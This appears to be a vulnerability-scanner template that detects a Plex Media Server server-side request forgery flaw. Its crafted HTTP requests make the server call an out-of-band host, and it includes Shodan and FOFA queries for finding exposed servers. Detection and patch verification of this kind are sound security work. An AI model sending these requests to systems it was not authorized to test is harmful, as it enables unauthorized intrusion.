Description
Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
id: CVE-2026-96654
info:
name: Plex Media Server < 1.43.3.10861 - Server Side Request Forgery
author: maulanawirawan
severity: medium
description: |
Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
impact: |
Attackers can invoke other plugins' functions with arbitrary parameters, potentially leading to unauthorized actions or data access.
remediation: |
Upgrade to version 1.43.3.10861 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-96654
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96654
- https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
- https://zmain.info/blog/plex2shell
- https://github.com/code-zm/plex2shell
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2026-96654
cwe-id: CWE-84
metadata:
verified: true
max-request: 4
vendor: plex
product: plex_media_server
shodan-query: port:32400 "X-Plex-Protocol"
fofa-query: port="32400" && header="X-Plex-Protocol"
tags: cve,cve2026,plex,oob,unauth,plex2shell,kev,vkev
variables:
cid: "{{rand_text_alpha(10)}}"
tok: "{{rand_text_alpha(12)}}"
poc: "{{to_lower(rand_text_alpha(3))}}"
flow: |
(function() {
if (!http(1)) return false;
var ver = template["plex_version"];
if (!ver) return false;
var p = ver.split(/[.\-]/);
if (p.length < 4) return false;
var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];
var vuln = (ma < 1) ||
(ma === 1 && mi < 43) ||
(ma === 1 && mi === 43 && pa < 3) ||
(ma === 1 && mi === 43 && pa === 3 && build < 10861);
if (!vuln) return false;
try { http(2); } catch (e) {}
if (!http(3)) return false;
return http(4);
})();
http:
- raw:
- |
GET /identity HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "MediaContainer", "machineIdentifier")'
condition: and
internal: true
extractors:
- type: regex
name: plex_version
internal: true
part: body
group: 1
regex:
- '<MediaContainer[^>]+\sversion="([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'
- raw:
- |
@timeout: 5s
GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: {{poc}}
X-Plex-Platform-Version: 1
X-Plex-Product: {{poc}}
X-Plex-Version: 1
X-Plex-Device: {{poc}}
X-Plex-Device-Name: {{poc}}
X-Plex-Model: {{poc}}
matchers:
- type: dsl
dsl:
- 'true'
internal: true
- raw:
- |
GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F{{interactsh-url}}%2523&port=1337&commandID=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: {{poc}}
X-Plex-Platform-Version: 1
X-Plex-Product: {{poc}}
X-Plex-Version: 1
X-Plex-Device: {{poc}}
X-Plex-Device-Name: {{poc}}
X-Plex-Model: {{poc}}
matchers:
- type: dsl
dsl:
- 'true'
internal: true
- raw:
- |
GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: {{poc}}
X-Plex-Platform-Version: 1
X-Plex-Product: {{poc}}
X-Plex-Version: 1
X-Plex-Device: {{poc}}
X-Plex-Device-Name: {{poc}}
X-Plex-Model: {{poc}}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 4b0a00483046022100fa7c836eeeeda25fc3fd5c3895d543780ab353af665ccac85e135a26034890ea022100deb89802c30bf21acc77daba2b25f88f36ca19151435e165fe01e53d6c06aa3a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.